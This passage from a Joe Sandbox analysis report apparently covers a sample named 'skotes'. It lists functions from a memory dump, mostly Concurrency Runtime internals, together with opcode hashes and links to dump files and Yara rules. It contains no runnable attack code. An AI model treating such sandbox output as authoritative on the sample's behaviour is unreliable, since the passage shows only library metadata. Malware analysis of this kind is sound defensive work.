Concurrency::details::ResourceManager::PreProcessDynamicAllocationData.LIBCONCRT ref: 00AE1614

Part of subcall function 00AE2E0F: Concurrency::details::ResourceManager::HandleBorrowedCores.LIBCONCRT ref: 00AE2E39
Part of subcall function 00AE2E0F: Concurrency::details::ResourceManager::HandleSharedCores.LIBCONCRT ref: 00AE2EA8

Concurrency::details::ResourceManager::IncreaseFullyLoadedSchedulerAllocations.LIBCMT ref: 00AE1746
Concurrency::details::ResourceManager::AdjustDynamicAllocation.LIBCONCRT ref: 00AE17A6
Concurrency::details::ResourceManager::PrepareReceiversForCoreTransfer.LIBCMT ref: 00AE17B2
Concurrency::details::ResourceManager::DistributeExclusiveCores.LIBCONCRT ref: 00AE17ED
Concurrency::details::ResourceManager::AdjustDynamicAllocation.LIBCONCRT ref: 00AE180E
Concurrency::details::ResourceManager::PrepareReceiversForCoreTransfer.LIBCMT ref: 00AE181A
Concurrency::details::ResourceManager::DistributeIdleCores.LIBCONCRT ref: 00AE1823
Concurrency::details::ResourceManager::ResetGlobalAllocationData.LIBCMT ref: 00AE183B

Memory Dump Source

Source File: 00000006.00000002.2883431001.0000000000AC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000006.00000002.2883361037.0000000000AC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883431001.0000000000B22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883666463.0000000000B29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883727805.0000000000B2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883793902.0000000000B35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883845805.0000000000B36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883909001.0000000000B37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884271037.0000000000C98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884331469.0000000000C9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884528151.0000000000CC3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884599549.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884663901.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884732748.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884811901.0000000000CC8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884884192.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884989302.0000000000CE4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885067265.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885145077.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885227523.0000000000D04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885306041.0000000000D1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885368995.0000000000D21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885429506.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885497273.0000000000D25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885572898.0000000000D2E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885645797.0000000000D34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885714004.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885779635.0000000000D37000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885814983.0000000000D4F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885873256.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885928333.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885992640.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886053698.0000000000D58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886119416.0000000000D60000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886192985.0000000000D71000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886244350.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886312925.0000000000D7D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D7E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886502387.0000000000DCD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886552614.0000000000DCE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886584657.0000000000DCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886645890.0000000000DD5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886672302.0000000000DD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886705325.0000000000DE4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886743978.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ac0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Manager::Resource$AllocationCores$Dynamic$AdjustCoreDataDistributeHandlePrepareReceiversTransfer$AllocationsBorrowedBuffersExclusiveFullyGlobalIdleIncreaseInitializeLoadedProcessResetSchedulerShared
String ID:
API String ID: 2508902052-0
Opcode ID: aa9f8f36a8b7b44e1180d435f458fb72d8e9ffd861c0e8264618b64b20c70f21
Instruction ID: 3a51de99d52f9bb6910d5c241c0e5a3eba105ff090b8579da216d28ac8ca3696
Opcode Fuzzy Hash: aa9f8f36a8b7b44e1180d435f458fb72d8e9ffd861c0e8264618b64b20c70f21
Instruction Fuzzy Hash: 08816A71E002659FCB18DFAAC580A6DBBF6FF48704B2546ADE445AB701C770AD52CB84

Function 00AEEC48 Relevance: 6.1, APIs: 4, Instructions: 139COMMON

Download Yara Rule

APIs

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 00AEEC81

Part of subcall function 00AE8F2F: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 00AE8F50

Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 00AEECE7
Concurrency::details::WorkItem::ResolveToken.LIBCONCRT ref: 00AEECFF
Concurrency::details::WorkItem::BindTo.LIBCONCRT ref: 00AEED0C

Part of subcall function 00AEE7AF: Concurrency::details::InternalContextBase::ReclaimVirtualProcessor.LIBCONCRT ref: 00AEE7D7
Part of subcall function 00AEE7AF: Concurrency::details::SchedulerBase::TriggerCommitSafePoints.LIBCMT ref: 00AEE86F
Part of subcall function 00AEE7AF: Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 00AEE879
Part of subcall function 00AEE7AF: Concurrency::location::_Assign.LIBCMT ref: 00AEE8AD
Part of subcall function 00AEE7AF: Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 00AEE8B5

Memory Dump Source

Source File: 00000006.00000002.2883431001.0000000000AC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000006.00000002.2883361037.0000000000AC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883431001.0000000000B22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883666463.0000000000B29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883727805.0000000000B2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883793902.0000000000B35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883845805.0000000000B36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883909001.0000000000B37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884271037.0000000000C98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884331469.0000000000C9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884528151.0000000000CC3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884599549.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884663901.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884732748.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884811901.0000000000CC8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884884192.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884989302.0000000000CE4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885067265.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885145077.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885227523.0000000000D04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885306041.0000000000D1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885368995.0000000000D21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885429506.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885497273.0000000000D25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885572898.0000000000D2E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885645797.0000000000D34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885714004.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885779635.0000000000D37000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885814983.0000000000D4F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885873256.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885928333.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885992640.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886053698.0000000000D58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886119416.0000000000D60000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886192985.0000000000D71000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886244350.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886312925.0000000000D7D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D7E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886502387.0000000000DCD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886552614.0000000000DCE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886584657.0000000000DCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886645890.0000000000DD5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886672302.0000000000DD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886705325.0000000000DE4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886743978.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ac0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::Context$Scheduler$EventInternalItem::ProcessorVirtualWork$ActiveAssignBindCommitConcurrency::location::_GroupPointsReclaimResolveRunnableSafeScheduleSegmentThrowTokenTraceTrigger
String ID:
API String ID: 2363638799-0
Opcode ID: db9c5b790fa6f25eb31a20a84b7de10a7ea915b46769138c9955745a087aa122
Instruction ID: 4e729f263e5e753d960b6359af178d200b4879b02886e961ff7a4bc262039ea7
Opcode Fuzzy Hash: db9c5b790fa6f25eb31a20a84b7de10a7ea915b46769138c9955745a087aa122
Instruction Fuzzy Hash: B751AF31A00245DBCF24EF65CD95BAEB775EF44310F1480A9E9067B392CBB0AE45CBA1

Function 00ADCB97 Relevance: 1.5, APIs: 1, Instructions: 9nativeCOMMON

Download Yara Rule

APIs

NtFlushProcessWriteBuffers.NTDLL ref: 00ADCBAA

Memory Dump Source

Source File: 00000006.00000002.2883431001.0000000000AC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000006.00000002.2883361037.0000000000AC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883431001.0000000000B22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883666463.0000000000B29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883727805.0000000000B2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883793902.0000000000B35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883845805.0000000000B36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883909001.0000000000B37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884271037.0000000000C98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884331469.0000000000C9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884528151.0000000000CC3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884599549.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884663901.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884732748.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884811901.0000000000CC8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884884192.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884989302.0000000000CE4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885067265.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885145077.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885227523.0000000000D04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885306041.0000000000D1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885368995.0000000000D21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885429506.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885497273.0000000000D25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885572898.0000000000D2E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885645797.0000000000D34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885714004.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885779635.0000000000D37000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885814983.0000000000D4F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885873256.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885928333.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885992640.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886053698.0000000000D58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886119416.0000000000D60000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886192985.0000000000D71000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886244350.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886312925.0000000000D7D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D7E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886502387.0000000000DCD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886552614.0000000000DCE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886584657.0000000000DCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886645890.0000000000DD5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886672302.0000000000DD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886705325.0000000000DE4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886743978.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ac0000_skotes.jbxd

Yara matches

Similarity

API ID: BuffersFlushProcessWrite
String ID:
API String ID: 2982998374-0
Opcode ID: 4c983c16c24a309028c51665546866e3ae1d1fc641430dedeb62d052b1f6dcc6
Instruction ID: a067fb35f0fedb263deba82e49372a972bfe389077f61c5fbf36e97896bfcef8
Opcode Fuzzy Hash: 4c983c16c24a309028c51665546866e3ae1d1fc641430dedeb62d052b1f6dcc6
Instruction Fuzzy Hash: 01B09232A2383047CA622B14BC089AD77149A80E3138A4157D802A7224CEA05EC38BD4

Function 00ADDD91 Relevance: .1, Instructions: 144COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2883431001.0000000000AC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000006.00000002.2883361037.0000000000AC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883431001.0000000000B22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883666463.0000000000B29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883727805.0000000000B2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883793902.0000000000B35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883845805.0000000000B36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883909001.0000000000B37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884271037.0000000000C98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884331469.0000000000C9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884528151.0000000000CC3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884599549.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884663901.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884732748.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884811901.0000000000CC8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884884192.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884989302.0000000000CE4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885067265.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885145077.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885227523.0000000000D04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885306041.0000000000D1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885368995.0000000000D21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885429506.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885497273.0000000000D25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885572898.0000000000D2E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885645797.0000000000D34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885714004.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885779635.0000000000D37000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885814983.0000000000D4F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885873256.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885928333.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885992640.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886053698.0000000000D58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886119416.0000000000D60000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886192985.0000000000D71000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886244350.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886312925.0000000000D7D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D7E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886502387.0000000000DCD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886552614.0000000000DCE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886584657.0000000000DCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886645890.0000000000DD5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886672302.0000000000DD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886705325.0000000000DE4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886743978.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ac0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b2892e67c96e7fac0725e34e67170f555d2027f2b3ef3fd27ef83c992a8f4f82
Instruction ID: 5907163fea16d16fdb4664917d75f83b1af900d969a1564dad4877bb717f4bae
Opcode Fuzzy Hash: b2892e67c96e7fac0725e34e67170f555d2027f2b3ef3fd27ef83c992a8f4f82
Instruction Fuzzy Hash: A051BCB2A016068FDB25CF58D8817AABBF1FB58314F24856AC406EB394DB74A941CF90

Function 00AF26D1 Relevance: 22.7, APIs: 15, Instructions: 231COMMON

Download Yara Rule

APIs

Concurrency::details::WorkSearchContext::PreSearch.LIBCONCRT ref: 00AF26E3

Part of subcall function 00AF24E1: Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00AF2504

Concurrency::details::SchedulerBase::PeriodicScan.LIBCONCRT ref: 00AF2704
Concurrency::details::WorkSearchContext::CheckPriorityList.LIBCONCRT ref: 00AF2711
Concurrency::details::SchedulerBase::GetNextPriorityObject.LIBCMT ref: 00AF275F
Concurrency::details::SchedulerBase::AcquireQuickCacheSlot.LIBCMT ref: 00AF27E6
Concurrency::details::WorkSearchContext::QuickSearch.LIBCMT ref: 00AF27F9
Concurrency::details::WorkSearchContext::SearchCacheLocal_Runnables.LIBCONCRT ref: 00AF2846

Memory Dump Source

Source File: 00000006.00000002.2883431001.0000000000AC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000006.00000002.2883361037.0000000000AC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883431001.0000000000B22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883666463.0000000000B29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883727805.0000000000B2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883793902.0000000000B35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883845805.0000000000B36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883909001.0000000000B37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884271037.0000000000C98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884331469.0000000000C9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884528151.0000000000CC3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884599549.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884663901.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884732748.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884811901.0000000000CC8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884884192.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884989302.0000000000CE4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885067265.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885145077.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885227523.0000000000D04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885306041.0000000000D1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885368995.0000000000D21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885429506.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885497273.0000000000D25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885572898.0000000000D2E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885645797.0000000000D34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885714004.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885779635.0000000000D37000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885814983.0000000000D4F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885873256.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885928333.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885992640.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886053698.0000000000D58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886119416.0000000000D60000.00000040.00000001.01000000.00000007.sdmpDownload File
